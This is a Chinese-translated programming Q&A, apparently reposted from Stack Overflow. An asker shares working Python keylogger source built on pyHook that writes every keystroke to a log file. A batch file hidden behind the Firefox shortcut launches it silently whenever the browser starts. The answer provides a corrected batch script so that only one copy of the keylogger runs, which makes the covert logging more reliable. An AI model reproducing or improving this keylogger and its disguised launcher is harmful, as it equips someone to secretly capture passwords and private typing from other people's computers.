[英]don't run python script if it is already running
我按照这个人的教程制作了一个简单的Python键盘记录程序。 .pyw
文件如下:
import pyHook, pythoncom, sys, logging
file_log = 'C:\\Python27\\logger.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
当我使用firefox时,它会巧妙地运行,因为firefox快捷方式会调用包含以下内容的批处理文件:
@echo off
tasklist /FI "IMAGENAME eq c:\Python27\keylogger.pyw" 2>NUL | find /I /N "c:\Python27\keylogger.pyw">NUL
if not "%ERRORLEVEL%"=="0" start "" "c:\Python27\keylogger.pyw" #doesn't work
start "" "c:\Program Files (x86)\Mozilla Firefox\firefox.exe"
我的问题是,如果我多次运行firefox(这种情况经常发生),则此脚本将再次运行并重复自身,因此我会在日志记录文本文件中获得此类结果。
g
g
o
o
o
o
g
g
l
l
e
e
我需要一些if
条件, if
该脚本已经在运行,则不允许该脚本运行。
尝试这个:
@echo off
for /f "tokens=1 delims= " %%a in ('tasklist /v ^| findstr "keylogger"') do set running_check=%%a
if not defined running_check start "" "c:\Python27\keylogger.pyw"
start "" "c:\Program Files (x86)\Mozilla Firefox\firefox.exe"
编辑:修复了for循环
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.